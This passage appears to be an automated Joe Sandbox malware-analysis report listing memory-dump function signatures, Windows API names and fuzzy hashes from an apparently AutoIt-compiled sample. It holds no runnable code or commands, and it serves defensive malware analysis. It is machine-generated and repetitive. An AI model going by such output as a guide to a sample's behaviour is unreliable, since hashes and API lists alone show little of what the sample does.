                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                                                                                                                                            • Instruction ID: b3ef040a9687c8e4e93165f8be59a0801860c67c6fae7068b57b0b5beb9ee0de
                                                                                                                                                                            • Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                                                                                                                                            • Instruction Fuzzy Hash: 62114F7290864686EB259F50D4403AD7771EF857D0F9841B6E64D466EADFBCD001CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215553584-0
                                                                                                                                                                            • Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                                                                                                                                            • Instruction ID: ac7780b08fd9779938d1716bdd3753ee5df6aafff92089cbdca6f34961c86dd6
                                                                                                                                                                            • Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                                                                                                                                            • Instruction Fuzzy Hash: 1A014F31E0920749FE34AF6594517BD1150DF977F4F2416B0E92ECAADADE2CE8428705
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215553584-0
                                                                                                                                                                            • Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                                                                                                                                            • Instruction ID: 4749694ffc01331131dd7a06928fcd49ca4da06025f2897b97ce106716aa23ec
                                                                                                                                                                            • Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                                                                                                                                            • Instruction Fuzzy Hash: BEF0B431E0C2474AEE346F75A44167E2290EF427D4F2411B0FA5EC6ACECE6CE441D601
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00007FF697B74970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74999
                                                                                                                                                                            • FreeLibrary.KERNEL32(?,?,?,00007FF697B8C8FE), ref: 00007FF697B4656F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FreeLibrary_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3938577545-0
                                                                                                                                                                            • Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                                                                                                                                            • Instruction ID: 7391c20924819040d08e1ed4a64de94b9e571a0d1f82789fa2a513baf9b04669
                                                                                                                                                                            • Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                                                                                                                                            • Instruction Fuzzy Hash: 15F03A62A19A09C6EF29DF65D0563382260EB69F8CF1405B0CA0E8A18DCF2CD4549241
                                                                                                                                                                            APIs
                                                                                                                                                                            • Concurrency::cancel_current_task.LIBCPMT ref: 00007FF697B64C5C
                                                                                                                                                                              • Part of subcall function 00007FF697B65600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF697B65609
                                                                                                                                                                              • Part of subcall function 00007FF697B65600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF697B6561A
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1680350287-0
                                                                                                                                                                            • Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                                                                                                                                            • Instruction ID: 57df4f3caf5de61134144dc2ee2d43ab4ebf6e121530ad505dd3ca59c6eb2bef
                                                                                                                                                                            • Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                                                                                                                                            • Instruction Fuzzy Hash: 22E04670E0D90B45FD786F6106550B820408F4B3F0E182BB0DB3DC43CAEC1CA7608110
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileWrite
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3934441357-0
                                                                                                                                                                            • Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                                                                                                                                            • Instruction ID: 8beabb15df114d80d3d51a0772ae6e3304b32ec36d455c3fc8e73e4f14b30370
                                                                                                                                                                            • Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                                                                                                                                            • Instruction Fuzzy Hash: 89E01532618A9182D6208F06F48021AE370FB8ABC8F544525EF8C47B19CF7DD5518B80
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LongNamePath
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 82841172-0
                                                                                                                                                                            • Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                                                                                                                                            • Instruction ID: 7a494639dcdeb23ad5a835373738c0765c499814246d26e386ee376e09271360
                                                                                                                                                                            • Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                                                                                                                                            • Instruction Fuzzy Hash: 58E04832B0874685D731DB69E5453996366FF9CBC4F544071EE8C8375EDD6CC5858B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconNotifyShell_
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1144537725-0
                                                                                                                                                                            • Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                                                                                                                                            • Instruction ID: 4482973116615174b69fdfe04985f7afa2eb335337bdb9fde500f6f06732bb75
                                                                                                                                                                            • Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                                                                                                                                            • Instruction Fuzzy Hash: CCF08C32A19B82CBF7B19B54E4043697AA6FB85388F844079D28D87399CE3CD345CF40
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Open_onexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3030063568-0
                                                                                                                                                                            • Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                                                                                                                                            • Instruction ID: 2c3810ba33049a7130d04607f370dd144e26fd670118aa6a39564bc7ae780429
                                                                                                                                                                            • Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                                                                                                                                            • Instruction Fuzzy Hash: AEE08C62F1A94BC0EE28BB6A988507812A1EF92385F8059B6C10CC2256DE1CD3918700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CurrentVersionWow64_onexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2932345936-0
                                                                                                                                                                            • Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                                                                                                                                            • Instruction ID: a7c32edb425cd9d780ab3f3edf145ef269d94432288c105ff62751aa2976e3d8
                                                                                                                                                                            • Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                                                                                                                                            • Instruction Fuzzy Hash: 3EC01220F6A44B80E6287BB948860F82190CFA73D0F9001B6C30DC0286DD0C53E60A11
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _onexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 572287377-0
                                                                                                                                                                            • Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                                                                                                                                            • Instruction ID: b3550cd86fc103f8162cbcf8ea1a59c833aecf5a24f347d6fd2d0673033c63b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                                                                                                                                            • Instruction Fuzzy Hash: 12C01221F6944B80E9287FB54C860B41190DFEB390FD005B5C20DC1286CD0C53E64B11
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _onexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 572287377-0
                                                                                                                                                                            • Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                                                                                                                                            • Instruction ID: 2becde2569c931b055d8257934f33b34548283021d8d6fad990c81b97325aa21
                                                                                                                                                                            • Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                                                                                                                                            • Instruction Fuzzy Hash: 66C01225F6A44B80E5287BB54C8A0B811908FE7390F9006B5C20DC128ACD1C53E65A11
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1452528299-0
                                                                                                                                                                            • Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                                                                                                                                            • Instruction ID: 454c801211abe9d0572ad11a51a02da1b92c954a7e4eee60fdcb1c6fdbfc30d3
                                                                                                                                                                            • Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                                                                                                                                            • Instruction Fuzzy Hash: 03715B32B04A4286EB20EF69D0953BD23A0EB86BC4F4441B2DE5D9779ADF38E545C350
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AllocHeap
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4292702814-0
                                                                                                                                                                            • Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
                                                                                                                                                                            • Instruction ID: e8ac12bda345c744940055a2b19e74bb170f7c5f5c2611e798289aabfe294af2
                                                                                                                                                                            • Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
                                                                                                                                                                            • Instruction Fuzzy Hash: B2F09064B0930B84FF796F6259503B51291FF9ABC0F9C44B4C90EC6BCEEE2CE4418220
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AllocHeap
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4292702814-0
                                                                                                                                                                            • Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                                                                                                                                            • Instruction ID: 72efc1b910b0db5f4022c4ff8600515c3bd9391a45774fcf1b15444e0f083298
                                                                                                                                                                            • Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                                                                                                                                            • Instruction Fuzzy Hash: F7F05E60F1924785FF349F6198022785284DF46FE0F8842B8D92EC5AC9DE5DE4418210
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                                                                                                                            • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                            • API String ID: 2211948467-2373415609
                                                                                                                                                                            • Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                                                                                                                                            • Instruction ID: e98d79e75f6a5abdf62c51180ee413eca9fc24722d2e57d67f1d8535e91f8ede
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                                                                                                                                            • Instruction Fuzzy Hash: E422AF76A08A428AE720DF29E85466D77A1FF89BD4F114276DE4E83B68DF3CD445CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
                                                                                                                                                                            • String ID: @GUI_DRAGID$F
                                                                                                                                                                            • API String ID: 1993697042-4164748364
                                                                                                                                                                            • Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                                                                                                                                            • Instruction ID: f5f1cfd86bc1bcedfc87877c0a137481447b3bab920acbf23a7c0f1b09ab3473
                                                                                                                                                                            • Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
